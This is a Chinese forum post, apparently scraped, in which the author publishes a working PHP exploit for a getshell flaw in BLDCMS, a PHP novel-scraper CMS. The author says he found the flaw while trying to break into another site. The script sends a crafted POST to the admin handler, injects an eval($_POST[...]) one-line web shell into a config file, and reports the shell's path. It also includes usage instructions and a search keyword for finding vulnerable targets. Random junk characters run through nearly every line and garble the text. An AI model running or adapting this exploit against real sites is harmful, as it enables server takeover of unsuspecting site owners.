之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞' j5 O5 _% q r+ V$ @
( t9 T9 P7 }9 b9 [- N) ^! v
1 |2 T2 f8 y7 T2 T) f, ?. H) |) z话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
/ N5 [$ L) W* m* e1 n 8 k e) m N7 M
既然都有人发了 我就把我之前写好的EXP放出来吧$ D. g; R5 t; a! {
1 b4 F4 P2 Y. @* u5 hview source print?01.php;">- E2 z! w& B$ Z& V) m/ V9 Q; K7 W
02.<!--?php9 k. Q* j/ i$ ?, Q/ _/ |! w- f
03.echo "-------------------------------------------------------------------
7 [8 E; U" M: ?- o/ i04.
; m# v1 o7 ]* }$ T+ ] t7 a" H! Y5 d05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP( d7 c2 o* z4 G
06. 4 a* T4 V4 }! l* Z3 ]
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
2 k" f; y: s% L" i m% C S. a08. / Q/ K1 n* o' R+ x6 g9 E8 C
09.QQ:981009941\r\n 2013.3.21\r\n ) L6 }( n; [' {% [# i( f2 H
10. , I/ [6 \# Z4 \1 \' e: T2 `
11.
4 `. A# v- \5 N) _/ Y" B12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码4 B$ F4 m$ R( i3 n8 k! \+ f5 p
13. 2 X5 G4 v) z6 F# A: E0 r
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
. V5 b$ W! D/ w5 M8 J2 T15.
* n- x" ]! I4 s% a16.--------------------------------------------------------------------\r\n";
! M; E2 A }) U/ J* P& e0 s17.$url=$argv[1];
# T5 u2 ]0 y- L; s3 ?: p18.$dir=$argv[2];5 H# R3 G; u* x* ]; f z
19.$pass=$argv[3];
$ ?% s, z/ J0 D2 E6 E20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';* h! P3 q( i' L+ h6 B4 Z8 I! |
21.if (emptyempty($pass)||emptyempty($url))
" f( Y! b4 C+ l* N$ U0 g. v; Q22.{exit("请输入参数");}7 O' E) I! ?5 @/ w- h8 t
23.else5 j9 J& o3 I3 ^
24.{
& W% u/ v$ z. o7 V25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
# N: M3 d+ N( e26. . m1 A; u. n; A/ w5 n
27.al;, C. M* I. }: L' R
28.$length = strlen($fuckdata);
- V; d# t, H4 R' c1 U29.function getshell($url,$pass)
$ b/ r3 O% ~* q0 \2 d/ P8 z30.{, `. ]7 |( p" w. q0 n
31.global $url,$dir,$pass,$eval,$length,$fuckdata;1 z6 n, g9 d- M9 @$ Y5 V
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";! S) F# u) n S" _( M1 M+ w
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";9 N+ I9 J" i: ^7 Q, a1 R
34.$header .= "User-Agent: MSIE\r\n";
0 s4 k' v$ m$ S! F6 x35.$header .= "Host:".$url."\r\n";( y. f, q1 O( k. l2 X
36.$header .= "Content-Length: ".$length."\r\n";& M) t" |4 x( w9 J6 L
37.$header .= "Connection: Close\r\n";1 E* a2 `: t L; z! p
38.$header .="\r\n";
( E* r& } t" M' _2 Q0 ?9 M39.$header .= $fuckdata."\r\n\r\n";
& Y3 Y! j% l( o4 A) N40.$fp = fsockopen($url, 80,$errno,$errstr,15);
4 k% n/ |% L ?9 p$ s; E, ~41.if (!$fp)0 w+ p3 V2 s2 t, d- S
42.{7 c4 Y! \! C! t6 j8 K8 i; ~
43.exit ("利用失败:请检查指定目标是否能正常打开");6 R9 j2 s1 t E8 l/ w# j
44.}
+ Q |- q1 r) W) j X' @$ X0 H45.else{ if (!fputs($fp,$header))
/ ~/ ~% q% y1 {2 C46.{exit ("利用失败");}* Y- ]6 d% ^. M4 Z
47.else
8 e# ^1 }0 `) Z# o6 N B) w48.{
% x! L: p3 `, D) ?2 F49.$receive = '';
) @8 u O+ ~+ G8 T% F$ _50.while (!feof($fp)) {
, G) B: e0 K$ @7 W7 ?51.$receive .= @fgets($fp, 1000);
" P: v( i m4 j3 H/ w52.}, y8 k- `2 f& ^8 K( i, ?" Z+ ?
53.@fclose($fp);8 f) Z1 t$ ~; Y" y: {$ M \
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标5 A; f: e0 R6 i' }
55. 8 v. |/ E4 Q8 L' v' { q, [
56.GPC是否=off)";, I8 `8 F" G2 {' w( R4 A
57.}}, t/ c7 B& D3 i4 `- T" W
58.}
" R; w( \. p9 V59.}) I; n! K }( ~! u! ?+ V
60.getshell($url,$pass);) w3 U. [% ]3 c$ W
61.?-->
8 I2 R) ^4 j4 O# {
, ]# A+ ?- U6 I/ ^% g( e P7 T, X- t9 z$ E
9 ?& t4 v# C! `! i+ B+ V6 z% M8 _
by 数据流+ y( u7 k" i# t9 C2 z
|